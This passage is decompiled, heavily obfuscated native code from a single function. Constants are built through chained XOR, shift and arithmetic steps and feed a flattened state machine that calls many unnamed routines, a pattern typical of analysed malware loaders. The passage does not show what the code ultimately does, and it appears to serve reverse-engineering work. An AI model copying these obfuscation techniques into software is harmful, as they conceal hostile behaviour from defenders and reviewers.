				signed int _v648;
				signed int _v652;
				signed int _v656;
				signed int _v660;
				signed int _v664;
				signed int _v668;
				signed int _v672;
				unsigned int _v676;
				void* __ebx;
				signed int _t1259;
				signed int _t1286;
				signed int _t1298;
				signed int _t1309;
				signed int _t1339;
				signed int _t1340;
				signed int _t1342;
				signed int _t1343;
				signed int _t1344;
				signed int _t1345;
				signed int _t1346;
				signed int _t1347;
				signed int _t1348;
				signed int _t1349;
				signed int _t1350;
				signed int _t1351;
				signed int _t1352;
				signed int _t1353;
				signed int _t1354;
				signed int _t1355;
				signed int _t1356;
				signed int _t1357;
				signed int _t1358;
				signed int _t1359;
				signed int _t1360;
				signed int _t1361;
				signed int _t1362;
				signed int _t1363;
				signed int _t1364;
				signed int _t1383;
				signed int _t1464;
				signed int _t1465;
				signed int _t1468;
				signed int _t1481;
				signed int _t1494;
				signed int _t1497;
				void* _t1499;
				void* _t1503;
				void* _t1504;
				void* _t1505;

				_t1499 = (_t1497 & 0xfffffff8) - 0x2a0;
				_v548 = 0x612d76;
				_v548 = _v548 + 0xffffb226;
				_v548 = _v548 ^ 0x25733830;
				_v548 = _v548 + 0x94f7;
				_v548 = _v548 ^ 0x25147da1;
				_v608 = 0x8e6410;
				_v608 = _v608 | 0x5e5673b6;
				_v608 = _v608 ^ 0x9913f1ef;
				_v608 = _v608 * 0x3a;
				_t1468 = 0xe6d4a04;
				_v608 = _v608 ^ 0x4490702a;
				_v332 = 0x40e6a4;
				_v332 = _v332 ^ 0x1ba14b53;
				_v332 = _v332 ^ 0x1be1adf7;
				_v388 = 0xd7ca30;
				_t1342 = 0x42;
				_v388 = _v388 / _t1342;
				_v388 = _v388 + 0x3798;
				_v388 = _v388 ^ 0x000f1b75;
				_v216 = 0xd7fc5;
				_v216 = _v216 >> 1;
				_v216 = _v216 ^ 0x0004b337;
				_v516 = 0x59f14d;
				_v516 = _v516 >> 0xf;
				_t1343 = 0x4a;
				_v516 = _v516 / _t1343;
				_v516 = _v516 << 0xb;
				_v516 = _v516 ^ 0x00046054;
				_v304 = 0xedc603;
				_v304 = _v304 + 0xffffc02b;
				_v304 = _v304 ^ 0x00efeb53;
				_v232 = 0x637592;
				_t1464 = 0x6f;
				_t1344 = 0x31;
				_v232 = _v232 * 0x71;
				_v232 = _v232 ^ 0x2bef3074;
				_v372 = 0x919268;
				_v372 = _v372 << 9;
				_v372 = _v372 + 0x904f;
				_v372 = _v372 ^ 0x2324b0cf;
				_v484 = 0x568eb3;
				_v484 = _v484 * 0x42;
				_v484 = _v484 / _t1464;
				_v484 = _v484 ^ 0x0034ded9;
				_v472 = 0x365886;
				_v472 = _v472 << 0xc;
				_v472 = _v472 + 0xffff5d21;
				_v472 = _v472 ^ 0x6583ba5b;
				_v436 = 0xdfd34b;
				_v436 = _v436 / _t1344;
				_v436 = _v436 | 0x191717ac;
				_v436 = _v436 ^ 0x1914e100;
				_v196 = 0xd88df0;
				_t1345 = 0x15;
				_v196 = _v196 / _t1345;
				_v196 = _v196 ^ 0x0009e710;
				_v356 = 0xb64ed2;
				_v356 = _v356 >> 0xd;
				_t1339 = 0x1c;
				_t1346 = 0x51;
				_v356 = _v356 * 0x63;
				_v356 = _v356 ^ 0x0006dcaa;
				_v336 = 0x65c0e5;
				_v336 = _v336 * 0x7a;
				_v336 = _v336 >> 3;
				_v336 = _v336 ^ 0x060f054d;
				_v492 = 0x31a1;
				_v492 = _v492 ^ 0x5b528d22;
				_v492 = _v492 << 5;
				_v492 = _v492 ^ 0x6a59b43c;
				_v652 = 0x40a60;
				_v652 = _v652 | 0x6178721b;
				_v652 = _v652 + 0x8e9b;
				_v652 = _v652 / _t1339;
				_v652 = _v652 ^ 0x037a42dd;
				_v272 = 0xf0169f;
				_v272 = _v272 >> 5;
				_v272 = _v272 ^ 0x0004695a;
				_v528 = 0x24fae7;
				_v528 = _v528 ^ 0xfec3499d;
				_v528 = _v528 << 0xf;
				_v528 = _v528 >> 0xc;
				_v528 = _v528 ^ 0x0001af4c;
				_v188 = 0x9b8757;
				_v188 = _v188 >> 4;
				_v188 = _v188 ^ 0x000b2d6a;
				_v256 = 0x948fd;
				_v256 = _v256 ^ 0xf30bafdb;
				_v256 = _v256 ^ 0xf30b6e1f;
				_v464 = 0x93fe09;
				_v464 = _v464 / _t1346;
				_t1347 = 0x23;
				_v464 = _v464 * 0x7a;
				_v464 = _v464 ^ 0x00d327e8;
				_v648 = 0xd540cd;
				_v648 = _v648 * 0x5c;
				_v648 = _v648 >> 0xb;
				_v648 = _v648 / _t1347;
				_v648 = _v648 ^ 0x0005d45a;
				_v540 = 0x2acc1;
				_v540 = _v540 >> 7;
				_v540 = _v540 << 0x10;
				_t1348 = 0x59;
				_v540 = _v540 / _t1348;
				_v540 = _v540 ^ 0x000fef6f;
				_v264 = 0xfe7d93;
				_v264 = _v264 ^ 0x4bd787a7;
				_v264 = _v264 ^ 0x4b22b45d;
				_v208 = 0x23d5c9;
				_v208 = _v208 ^ 0x8f5a829d;
				_v208 = _v208 ^ 0x8f7555ae;
				_v524 = 0x2aaed2;
				_v524 = _v524 | 0x9661325e;
				_t1494 = 0x5c;
				_v524 = _v524 / _t1494;
				_v524 = _v524 * 0x63;
				_v524 = _v524 ^ 0xa1d330ca;
				_v612 = 0x173148;
				_v612 = _v612 >> 5;
				_v612 = _v612 + 0x14e7;
				_v612 = _v612 / _t1348;
				_v612 = _v612 ^ 0x0000773b;
				_v620 = 0xe48585;
				_v620 = _v620 << 0x10;
				_v620 = _v620 * 0x32;
				_v620 = _v620 >> 7;
				_v620 = _v620 ^ 0x0028030c;
				_v500 = 0xfd3bdc;
				_v500 = _v500 << 0xa;
				_v500 = _v500 ^ 0xf4e13163;
				_v520 = 0xe4fc5f;
				_v520 = _v520 + 0xa13e;
				_v520 = _v520 + 0xffff7828;
				_v520 = _v520 ^ 0x4d340404;
				_v520 = _v520 ^ 0x4dd63175;
				_v360 = 0x9532ce;
				_v360 = _v360 ^ 0xdad74cca;
				_v360 = _v360 | 0x8468d9e2;
				_v360 = _v360 ^ 0xde69f572;
				_v604 = 0x3a7c91;
				_v604 = _v604 | 0x10f1a45d;
				_v604 = _v604 + 0xffff6d1e;
				_v604 = _v604 | 0x776d764a;
				_v604 = _v604 ^ 0x77f7c5e5;
				_v212 = 0x6e3f57;
				_t279 =  &_v212; // 0x6e3f57
				_v212 =  *_t279 * 3;
				_v212 = _v212 ^ 0x01468193;
				_v220 = 0x58f789;
				_v220 = _v220 << 5;
				_v220 = _v220 ^ 0x0b1ef21b;
				_v236 = 0x737654;
				_v236 = _v236 + 0xe2b4;
				_v236 = _v236 ^ 0x0073a4da;
				_v416 = 0xc8c3a8;
				_v416 = _v416 ^ 0x4478b906;
				_v416 = _v416 * 0xc;
				_v416 = _v416 ^ 0x384ff3ff;
				_v576 = 0x407f47;
				_v576 = _v576 + 0x1a0d;
				_v576 = _v576 * 0x63;
				_v576 = _v576 << 2;
				_v576 = _v576 ^ 0x63e80fef;
				_v228 = 0x9b4b6;
				_v228 = _v228 + 0xffffd2d4;
				_v228 = _v228 ^ 0x000d2243;
				_v552 = 0xb96e33;
				_v552 = _v552 + 0x4381;
				_v552 = _v552 * 0xf;
				_v552 = _v552 + 0xffffbee9;
				_v552 = _v552 ^ 0x0ae545e5;
				_v560 = 0xe19e88;
				_v560 = _v560 | 0xc222c343;
				_v560 = _v560 / _t1464;
				_v560 = _v560 + 0x567c;
				_v560 = _v560 ^ 0x01c941bb;
				_v568 = 0xf463df;
				_v568 = _v568 | 0x401122c6;
				_v568 = _v568 >> 3;
				_v568 = _v568 | 0xf3373c61;
				_v568 = _v568 ^ 0xfb38c632;
				_v392 = 0xa88994;
				_v392 = _v392 >> 2;
				_v392 = _v392 + 0xfffffc92;
				_v392 = _v392 ^ 0x002883f3;
				_v544 = 0x16009;
				_v544 = _v544 ^ 0x700f0ae7;
				_v544 = _v544 << 0xd;
				_v544 = _v544 + 0xffffa581;
				_v544 = _v544 ^ 0xcd57c12d;
				_v400 = 0x4e3251;
				_v400 = _v400 << 0xd;
				_v400 = _v400 << 0xb;
				_v400 = _v400 ^ 0x510ef6f0;
				_v408 = 0xce49b4;
				_v408 = _v408 / _t1339;
				_v408 = _v408 | 0xa9ee0ad6;
				_v408 = _v408 ^ 0xa9ed29cd;
				_v368 = 0xfab4ff;
				_v368 = _v368 ^ 0x8bb4f731;
				_v368 = _v368 + 0x4788;
				_v368 = _v368 ^ 0x8b4dbddc;
				_v376 = 0x3b857d;
				_v376 = _v376 + 0xd8be;
				_v376 = _v376 ^ 0x0c7e0de1;
				_v376 = _v376 ^ 0x0c4b703c;
				_v384 = 0x702b67;
				_v384 = _v384 + 0x7016;
				_v384 = _v384 | 0xc6195e9d;
				_v384 = _v384 ^ 0xc67058d5;
				_v536 = 0xd092b2;
				_v536 = _v536 + 0xffff63c4;
				_v536 = _v536 | 0x81cb3080;
				_v536 = _v536 ^ 0x4ecdb7ae;
				_v536 = _v536 ^ 0xcf0bdc69;
				_v248 = 0xf8c39f;
				_v248 = _v248 | 0x0e89bf31;
				_v248 = _v248 ^ 0x0ef3b328;
				_v556 = 0x54f798;
				_v556 = _v556 >> 2;
				_v556 = _v556 ^ 0xd52f7ed0;
				_v556 = _v556 >> 6;
				_v556 = _v556 ^ 0x03531d7d;
				_v672 = 0xe1b7ad;
				_t1349 = 0x7a;
				_v672 = _v672 / _t1349;
				_v672 = _v672 << 0xc;
				_t1350 = 0xa;
				_v672 = _v672 / _t1350;
				_v672 = _v672 ^ 0x02f2c9f1;
				_v676 = 0xf0d76a;
				_v676 = _v676 >> 3;
				_v676 = _v676 + 0xffffb109;
				_v676 = _v676 >> 4;
				_v676 = _v676 ^ 0x0006f826;
				_v200 = 0xd1b71d;
				_t1351 = 0x7c;
				_v200 = _v200 / _t1351;
				_v200 = _v200 ^ 0x0006a6d0;
				_v596 = 0x496d6a;
				_t459 =  &_v596; // 0x496d6a
				_v596 =  *_t459 * 0x6b;
				_v596 = _v596 + 0xbb66;
				_v596 = _v596 + 0xffff602d;
				_v596 = _v596 ^ 0x1ebb8efb;
				_v404 = 0xf3863;
				_v404 = _v404 >> 0xe;
				_t1352 = 0x2a;
				_v404 = _v404 / _t1352;
				_v404 = _v404 ^ 0x00094758;
				_v476 = 0x611fd8;
				_v476 = _v476 | 0xb878f5dc;
				_v476 = _v476 + 0xad5b;
				_v476 = _v476 ^ 0xb87809fa;
				_v460 = 0xcf43a7;
				_v460 = _v460 ^ 0xdec9221b;
				_v460 = _v460 ^ 0xf00bdbd0;
				_v460 = _v460 ^ 0x2e089b39;
				_v340 = 0x6e2519;
				_v340 = _v340 + 0xffff23bc;
				_v340 = _v340 + 0xffffab38;
				_v340 = _v340 ^ 0x00658e81;
				_v468 = 0x6e95b3;
				_v468 = _v468 | 0xe42d871f;
				_v468 = _v468 + 0xffff0334;
				_v468 = _v468 ^ 0xe4661c95;
				_v184 = 0x976a3e;
				_v184 = _v184 >> 2;
				_v184 = _v184 ^ 0x002fb3e7;
				_v640 = 0xf929b2;
				_v640 = _v640 >> 4;
				_v640 = _v640 + 0x46ec;
				_t1353 = 0x4e;
				_v640 = _v640 * 0x14;
				_v640 = _v640 ^ 0x013b9ce5;
				_v288 = 0x293a87;
				_v288 = _v288 * 0x1a;
				_v288 = _v288 ^ 0x042f344b;
				_v300 = 0x77766c;
				_v300 = _v300 + 0xffff170c;
				_v300 = _v300 ^ 0x007d4cee;
				_v308 = 0x8e9aa4;
				_v308 = _v308 / _t1353;
				_v308 = _v308 ^ 0x00052c4e;
				_v456 = 0x218ab6;
				_v456 = _v456 / _t1339;
				_v456 = _v456 << 8;
				_v456 = _v456 ^ 0x0138796e;
				_v632 = 0x66de5e;
				_v632 = _v632 + 0xffff10e7;
				_v632 = _v632 << 8;
				_v632 = _v632 + 0xffffeb43;
				_v632 = _v632 ^ 0x65e84e4c;
				_v412 = 0x242a03;
				_v412 = _v412 << 3;
				_v412 = _v412 >> 4;
				_v412 = _v412 ^ 0x00169ab3;
				_v580 = 0x395796;
				_v580 = _v580 << 7;
				_v580 = _v580 >> 9;
				_v580 = _v580 + 0xb065;
				_v580 = _v580 ^ 0x000e083d;
				_v192 = 0xd019c8;
				_t1354 = 0x29;
				_v192 = _v192 / _t1354;
				_v192 = _v192 ^ 0x000d0418;
				_v364 = 0x5114b6;
				_v364 = _v364 << 9;
				_v364 = _v364 << 0xf;
				_v364 = _v364 ^ 0xb6040cfd;
				_v452 = 0xdc8bb5;
				_v452 = _v452 ^ 0xb07e6e5f;
				_v452 = _v452 << 0xe;
				_v452 = _v452 ^ 0xb9795724;
				_v572 = 0xdefa33;
				_v572 = _v572 + 0xae39;
				_t1355 = 0x16;
				_v572 = _v572 * 0x56;
				_v572 = _v572 * 0x33;
				_v572 = _v572 ^ 0xf7eaa6cf;
				_v280 = 0x106c99;
				_v280 = _v280 ^ 0xf1e2e143;
				_v280 = _v280 ^ 0xf1f1647c;
				_v444 = 0x12ba83;
				_v444 = _v444 + 0xffff2e0b;
				_v444 = _v444 | 0x954218b9;
				_v444 = _v444 ^ 0x95501631;
				_v636 = 0x6f6552;
				_v636 = _v636 * 0x3a;
				_v636 = _v636 * 0x63;
				_v636 = _v636 ^ 0xc29eccb8;
				_v508 = 0x9979f;
				_v508 = _v508 >> 3;
				_v508 = _v508 + 0xffff8ecf;
				_v508 = _v508 ^ 0x0008ebd3;
				_v504 = 0x338317;
				_v504 = _v504 + 0xffff3917;
				_v504 = _v504 >> 1;
				_v504 = _v504 ^ 0x001e4512;
				_v420 = 0x2775fd;
				_v420 = _v420 / _t1355;
				_v420 = _v420 | 0x1f6013d3;
				_v420 = _v420 ^ 0x1f654eff;
				_v656 = 0x7dcf58;
				_v656 = _v656 ^ 0x77b5ed19;
				_v656 = _v656 + 0x312f;
				_v656 = _v656 << 0xe;
				_v656 = _v656 ^ 0x14d47f34;
				_v488 = 0x685995;
				_v488 = _v488 >> 9;
				_v488 = _v488 + 0xe674;
				_v488 = _v488 ^ 0x000367d5;
				_v328 = 0x4f2a8a;
				_t1356 = 0x30;
				_v328 = _v328 * 0x6c;
				_v328 = _v328 ^ 0x2165dbb2;
				_v664 = 0xf8ddee;
				_v664 = _v664 + 0xffffc10e;
				_v664 = _v664 + 0x5798;
				_v664 = _v664 | 0xdb7e095f;
				_v664 = _v664 ^ 0xdbfa1ad3;
				_v616 = 0xdf2722;
				_v616 = _v616 << 0x10;
				_v616 = _v616 << 0xf;
				_v616 = _v616 << 5;
				_v616 = _v616 ^ 0x0003a7ab;
				_v284 = 0x367b22;
				_t693 =  &_v284; // 0x367b22
				_v284 =  *_t693 / _t1356;
				_v284 = _v284 ^ 0x00041d99;
				_v292 = 0xfb329f;
				_v292 = _v292 + 0xffffce68;
				_v292 = _v292 ^ 0x00fc3f30;
				_v624 = 0xe6983f;
				_v624 = _v624 * 0x70;
				_v624 = _v624 ^ 0x3704df59;
				_v624 = _v624 * 9;
				_v624 = _v624 ^ 0xf3155be5;
				_v260 = 0xc363a2;
				_v260 = _v260 ^ 0x1025f5e4;
				_v260 = _v260 ^ 0x10ec772f;
				_v268 = 0x606a55;
				_v268 = _v268 >> 3;
				_v268 = _v268 ^ 0x000fc817;
				_v600 = 0xd902a;
				_v600 = _v600 >> 0xb;
				_v600 = _v600 << 1;
				_v600 = _v600 << 6;
				_v600 = _v600 ^ 0x00039c6b;
				_v276 = 0xc6f76b;
				_v276 = _v276 + 0xc129;
				_v276 = _v276 ^ 0x00cee0d7;
				_v440 = 0x65c4cc;
				_v440 = _v440 ^ 0xf07a0639;
				_t1357 = 0x69;
				_v440 = _v440 * 0x5f;
				_v440 = _v440 ^ 0x1bc0a904;
				_v584 = 0x39d860;
				_v584 = _v584 * 0x58;
				_v584 = _v584 + 0x4905;
				_v584 = _v584 * 0x2a;
				_v584 = _v584 ^ 0x432fbf1f;
				_v448 = 0xf8616a;
				_v448 = _v448 >> 4;
				_v448 = _v448 + 0xfd7e;
				_v448 = _v448 ^ 0x0010392b;
				_v244 = 0x3f99e5;
				_v244 = _v244 | 0x57277205;
				_v244 = _v244 ^ 0x57370e4e;
				_v348 = 0xf9a67d;
				_v348 = _v348 + 0xffff1738;
				_v348 = _v348 + 0xa0df;
				_v348 = _v348 ^ 0x00f7be80;
				_v564 = 0x164474;
				_v564 = _v564 + 0xffff8d5e;
				_v564 = _v564 | 0xc2a179fa;
				_v564 = _v564 / _t1357;
				_v564 = _v564 ^ 0x01d1c3a4;
				_v668 = 0xe03ad;
				_v668 = _v668 + 0xffffcc8a;
				_t1358 = 0x3c;
				_v668 = _v668 / _t1358;
				_v668 = _v668 | 0xd2e9204d;
				_v668 = _v668 ^ 0xd2e45507;
				_v532 = 0xe9adcf;
				_v532 = _v532 + 0xffffcf22;
				_v532 = _v532 + 0xfffffe50;
				_t1359 = 0x7b;
				_v532 = _v532 / _t1359;
				_v532 = _v532 ^ 0x000617c2;
				_v204 = 0x5a4d2e;
				_v204 = _v204 + 0xffff4d75;
				_v204 = _v204 ^ 0x00531e36;
				_v224 = 0xf2d317;
				_v224 = _v224 * 3;
				_v224 = _v224 ^ 0x02d347bf;
				_v644 = 0xc36dbf;
				_v644 = _v644 + 0xffff71a3;
				_v644 = _v644 | 0x544094bf;
				_v644 = _v644 + 0x4309;
				_v644 = _v644 ^ 0x54c28134;
				_v296 = 0xcf1d90;
				_v296 = _v296 | 0x31ca05e0;
				_v296 = _v296 ^ 0x31c90339;
				_v588 = 0xc34a2d;
				_v588 = _v588 >> 8;
				_v588 = _v588 >> 4;
				_v588 = _v588 + 0x75c1;
				_v588 = _v588 ^ 0x000d315f;
				_v240 = 0xeb7d33;
				_v240 = _v240 + 0xffffc753;
				_v240 = _v240 ^ 0x00e8d488;
				_v180 = 0x669bed;
				_v180 = _v180 / _t1494;
				_v180 = _v180 ^ 0x0002c9fb;
				_v496 = 0xfe0b00;
				_v496 = _v496 ^ 0x5fe703de;
				_v496 = _v496 << 6;
				_v496 = _v496 ^ 0xc645a863;
				_v660 = 0x916252;
				_v660 = _v660 >> 3;
				_v660 = _v660 << 0xd;
				_v660 = _v660 + 0xffff7dae;
				_v660 = _v660 ^ 0x458d7e10;
				_v320 = 0x2cf738;
				_v320 = _v320 | 0xc975dcc7;
				_v320 = _v320 ^ 0xc9795cda;
				_v312 = 0xb1d1ee;
				_v312 = _v312 + 0xffff51df;
				_v312 = _v312 ^ 0x00b16bbb;
				_v344 = 0x3e092b;
				_v344 = _v344 >> 2;
				_v344 = _v344 << 0xe;
				_v344 = _v344 ^ 0xe09a27cb;
				_v352 = 0x68a1a;
				_v352 = _v352 + 0xc791;
				_v352 = _v352 | 0x7642bfae;
				_v352 = _v352 ^ 0x76458494;
				_v512 = 0xe86ea0;
				_v512 = _v512 + 0xf959;
				_v512 = _v512 | 0x4e18ffd8;
				_t1360 = 0x17;
				_v512 = _v512 / _t1360;
				_v512 = _v512 ^ 0x036c12f7;
				_v396 = 0xe760c6;
				_t1361 = 0x26;
				_v396 = _v396 * 0x31;
				_v396 = _v396 * 0x56;
				_v396 = _v396 ^ 0xe1869eee;
				_v316 = 0x7a30c6;
				_v316 = _v316 / _t1361;
				_v316 = _v316 ^ 0x0003103d;
				_v628 = 0x4f3273;
				_t1362 = 0x78;
				_v628 = _v628 / _t1362;
				_v628 = _v628 << 0xa;
				_v628 = _v628 ^ 0x53aad572;
				_v628 = _v628 ^ 0x51090573;
				_v380 = 0x21784b;
				_v380 = _v380 << 7;
				_v380 = _v380 << 9;
				_v380 = _v380 ^ 0x784b0fa0;
				_v428 = 0xd8c839;
				_v428 = _v428 + 0x77d0;
				_v428 = _v428 >> 2;
				_v428 = _v428 ^ 0x00364f42;
				_v324 = 0x188352;
				_v324 = _v324 + 0xffffa07e;
				_v324 = _v324 ^ 0x00159870;
				_v252 = 0xe98be6;
				_v252 = _v252 >> 2;
				_v252 = _v252 ^ 0x0037d959;
				_v480 = 0xa4f1f5;
				_t1363 = 0x59;
				_t1465 = _v500;
				_v480 = _v480 / _t1363;
				_v480 = _v480 + 0xffff7faf;
				_v480 = _v480 ^ 0x000fae01;
				_v592 = 0x82c23d;
				_v592 = _v592 + 0x5741;
				_v592 = _v592 ^ 0x9a18022a;
				_v592 = _v592 << 0x10;
				_v592 = _v592 ^ 0x1b5af420;
				_v424 = 0x341aa7;
				_v424 = _v424 | 0xfb8ffeba;
				_v424 = _v424 ^ 0xfbbf8b8f;
				_v432 = 0xf44743;
				_t1364 = 0x76;
				_t1340 = _v500;
				_v432 = _v432 / _t1364;
				_v432 = _v432 / _t1364;
				_v432 = _v432 ^ 0x0000ee1d;
				goto L1;
				do {
					while(1) {
						L1:
						_t1503 = _t1468 - 0x856f9ca;
						if(_t1503 <= 0) {
						}
						L2:
						if(_t1503 == 0) {
							_t1259 = _v352;
							L042327F9();
							L113:
							return _t1259;
						}
						_t1504 = _t1468 - 0x39ddd07;
						if(_t1504 > 0) {
							__eflags = _t1468 - 0x5c221fd;
							if(__eflags > 0) {
								__eflags = _t1468 - 0x627e178;
								if(_t1468 == 0x627e178) {
									_t1259 = E04242009();
									_t1468 = 0xa51fadb;
									while(1) {
										L1:
										_t1503 = _t1468 - 0x856f9ca;
										if(_t1503 <= 0) {
										}
										goto L54;
									}
									goto L2;
								}
								__eflags = _t1468 - 0x6362904;
								if(_t1468 == 0x6362904) {
									_t1259 = L04224B5D();
									_t1468 = 0x223c7a9;
									continue;
								}
								__eflags = _t1468 - 0x7a1cd5a;
								if(_t1468 == 0x7a1cd5a) {
									E0423E955();
									_t1259 = E0423D111();
									asm("sbb esi, esi");
									_t1468 = ( ~_t1259 & 0x02cd2b2b) + 0x6362904;
									continue;
								}
								__eflags = _t1468 - 0x8488c7d;
								if(_t1468 != 0x8488c7d) {
									break;
								}
								_t1259 = E0422DE74();
								asm("sbb esi, esi");
								_t1468 = ( ~_t1259 & 0x060e21f6) + 0x19bf82;
								continue;
							}
							if(__eflags == 0) {
								_t1259 = E04233EAA();
								asm("sbb esi, esi");
								_t1481 =  ~_t1259 & 0xf8bf9ea4;
								L21:
								_t1468 = _t1481 + 0x9642905;
								continue;
							}
							__eflags = _t1468 - 0x41f7676;
							if(__eflags == 0) {
								_t1259 = E0422BDF9(__eflags);
								__eflags = _t1259;
								if(_t1259 == 0) {
									goto L113;
								}
								_t1468 = 0x22d34a3;
								continue;
							}
							__eflags = _t1468 - 0x4c22f24;
							if(_t1468 == 0x4c22f24) {
								_t1259 = E0423D1BC( &_v152, _v628, _v572, _v280, _v444,  &_v160, _v636, E0422A40E());
								_t1499 = _t1499 + 0x18;
								asm("sbb esi, esi");
								_t1468 = ( ~_t1259 & 0x068737c2) + 0x4c22f24;
								continue;
							}
							__eflags = _t1468 - 0x4d97dbc;
							if(_t1468 == 0x4d97dbc) {
								_t1259 = _v396;
								_t1468 = 0xcbac970;
								_v84 = _t1259;
								continue;
							}
							__eflags = _t1468 - 0x4f2172b;
							if(_t1468 != 0x4f2172b) {
								break;
							}
							_v24 = L0423C37E();
							_t1259 = E0423BD13(_t1278, _v460, _v340, _v468, _v184);
							_t1499 = _t1499 + 0xc;
							_v20 = _t1259;
							_t1468 = 0xba8c9c0;
							continue;
						}
						if(_t1504 == 0) {
							_t1259 = E04240E63();
							__eflags = _t1259;
							if(_t1259 == 0) {
								goto L113;
							}
							_t1468 = 0xb3966a4;
							continue;
						}
						_t1505 = _t1468 - 0x1db8a88;
						if(_t1505 > 0) {
							__eflags = _t1468 - 0x223c7a9;
							if(_t1468 == 0x223c7a9) {
								_t1259 = E042417BD(_v500, _v520, _v360);
								goto L113;
							}
							__eflags = _t1468 - 0x22d34a3;
							if(_t1468 == 0x22d34a3) {
								_t1259 = E04242699();
								_t1468 = 0xa8d90c;
								continue;
							}
							__eflags = _t1468 - 0x282f66e;
							if(_t1468 == 0x282f66e) {
								_t1259 = L042230E7(_t1340);
								_v88 = _t1259;
								_t1468 = 0xc53db32;
								continue;
							}
							__eflags = _t1468 - 0x32638c6;
							if(_t1468 != 0x32638c6) {
								break;
							}
							_t1259 = E04242B09(_v224, _v152, _v644, _v296);
							L29:
							_t1468 = 0x18cfb4a;
							continue;
						}
						if(_t1505 == 0) {
							_t1259 = E042277A3( &_v152, _v412, _v580, _v192,  &_v100);
							_t1499 = _t1499 + 0xc;
							asm("sbb esi, esi");
							_t1468 = ( ~_t1259 & 0x019bf65e) + 0x32638c6;
							continue;
						}
						if(_t1468 == 0x19bf82) {
							_t1286 = E0422670B();
							__eflags = _t1286;
							if(_t1286 == 0) {
								_t1259 = E0423D111();
								asm("sbb esi, esi");
								_t1468 = ( ~_t1259 & 0x05b25150) + 0x8c2c3ca;
								continue;
							}
							_t1259 = E0423D111();
							asm("sbb esi, esi");
							_t1481 =  ~_t1259 & 0xfc5df8f8;
							__eflags = _t1481;
							goto L21;
						}
						if(_t1468 == 0xa8d90c) {
							_t1259 = E04232142();
							__eflags = _t1259;
							if(_t1259 == 0) {
								goto L113;
							}
							_t1468 = 0x39ddd07;
							continue;
						}
						if(_t1468 == 0x18cfb4a) {
							__eflags = _t1465 - _v332;
							if(_t1465 == _v332) {
								L16:
								_t1468 = _t1340;
								break;
							}
							_t1259 = E04241028(_v180, _v496, E0422A40E(), _t1465, _v660, _v320);
							_t1499 = _t1499 + 0x10;
							__eflags = _t1259 - _v548;
							if(_t1259 == _v548) {
								_t1259 = E04234F74();
								goto L16;
							} else {
								_t1468 = 0x892c27a;
								continue;
							}
						}
						if(_t1468 != 0x19b3c55) {
							break;
						} else {
							_t1259 = E04242B09(_v668, _v160, _v532, _v204);
							_t1468 = 0x32638c6;
							continue;
						}
						L54:
						__eflags = _t1468 - 0xba8c9c0;
						if(__eflags > 0) {
							__eflags = _t1468 - 0xe6d4a04;
							if(__eflags > 0) {
								__eflags = _t1468 - 0xe75151a;
								if(_t1468 == 0xe75151a) {
									E0422A445();
									_t1468 = 0x8c2c3ca;
									break;
								}
								__eflags = _t1468 - 0xea72fdd;
								if(_t1468 == 0xea72fdd) {
									_t1259 = E04238D3D();
									_t1468 = 0xee19950;
									continue;
								}
								__eflags = _t1468 - 0xee19950;
								if(__eflags == 0) {
									_v168 = E04233D85(_v236, 0x4221248, __eflags,  &_v164, _v416);
									_v176 = E04233D85(_v576, 0x42212a8, __eflags,  &_v172, _v228);
									_t1298 = E04239A01( &_v176,  &_v168, _v552, _v560, _v568);
									asm("sbb esi, esi");
									_t1468 = ( ~_t1298 & 0x03fcb1a4) + 0x75265a3;
									E0423FECB(_v176, _v392, _v544, _v400, _v408);
									_t1259 = E0423FECB(_v168, _v368, _v376, _v384, _v536);
									_t1499 = _t1499 + 0x34;
								}
								break;
							}
							if(__eflags == 0) {
								_t1468 = 0x41f7676;
								continue;
							}
							__eflags = _t1468 - 0xc031f76;
							if(_t1468 == 0xc031f76) {
								_t1383 = _v616;
								_t1259 = E0423E4E5(_v284,  &_v108, _v292, _v624);
								_t1499 = _t1499 + 0xc;
								__eflags = _t1259;
								if(_t1259 == 0) {
									_t1259 = _v144;
									__eflags = _t1259;
									if(_t1259 == 0) {
										_push(_t1383);
										_push(_t1383);
										_t1465 = E0423CCA0(_v252, _v592);
										_t1499 = _t1499 + 0x10;
										_t1259 = _v144;
									}
									__eflags = _t1259 - 1;
									if(_t1259 == 1) {
										_push(_t1383);
										_push(_t1383);
										_t1259 = E0423CCA0(_v424, _v432);
										_t1499 = _t1499 + 0x10;
										_t1465 = _t1259;
									}
								} else {
									_t1465 = _v608;
								}
								_t1340 = 0xc4fb15d;
								_t1468 = 0x92191f9;
								continue;
							}
							__eflags = _t1468 - 0xc4fb15d;
							if(_t1468 == 0xc4fb15d) {
								_t1259 = L04225386(_v456,  &_v56, _v632);
								_pop(_t1383);
								_t1468 = 0x1db8a88;
								continue;
							}
							__eflags = _t1468 - 0xc53db32;
							if(_t1468 == 0xc53db32) {
								_t1259 = L0423C387(_t1383);
								_v92 = _t1259;
								_t1468 = 0x4d97dbc;
								continue;
							}
							__eflags = _t1468 - 0xcbac970;
							if(_t1468 != 0xcbac970) {
								break;
							}
							_t1259 = _v316;
							_t1468 = 0xc4fb15d;
							_v44 = _t1259;
							continue;
						}
						if(__eflags == 0) {
							_t1259 = E0422F8A0();
							_v12 = _t1259;
							_t1468 = 0x282f66e;
							continue;
						}
						__eflags = _t1468 - 0x9642905;
						if(__eflags > 0) {
							__eflags = _t1468 - 0xa51fadb;
							if(_t1468 == 0xa51fadb) {
								_t1259 = E0423AD08();
								__eflags = _t1259;
								if(_t1259 == 0) {
									goto L113;
								}
								_t1468 = 0x7a1cd5a;
								continue;
							}
							__eflags = _t1468 - 0xb3966a4;
							if(_t1468 == 0xb3966a4) {
								_t1259 = E04234A66();
								__eflags = _t1259;
								if(_t1259 == 0) {
									goto L113;
								}
								_t1468 = 0x8488c7d;
								continue;
							}
							__eflags = _t1468 - 0xb4966e6;
							if(_t1468 == 0xb4966e6) {
								_t1383 = _v508;
								_t1309 = E042255FF(_t1383, _v504, _v420,  &_v160,  &_v144);
								_t1499 = _t1499 + 0xc;
								__eflags = _t1309;
								if(_t1309 != 0) {
									_t1259 = _v144;
									__eflags = _t1259 - 8;
									if(_t1259 != 8) {
										__eflags = _t1259;
										if(_t1259 == 0) {
											L79:
											_t1468 = 0xc031f76;
											continue;
										}
										__eflags = _t1259 - 1;
										if(_t1259 != 1) {
											L64:
											_t1468 = 0x19b3c55;
											continue;
										}
										goto L79;
									}
									_t1468 = 0x856f9ca;
									continue;
								}
								_push(_t1383);
								_push(_t1383);
								_t1259 = E0423CCA0(_v324, _v480);
								_t1499 = _t1499 + 0x10;
								_t1465 = _t1259;
								_t1340 = 0xc4fb15d;
								goto L64;
							}
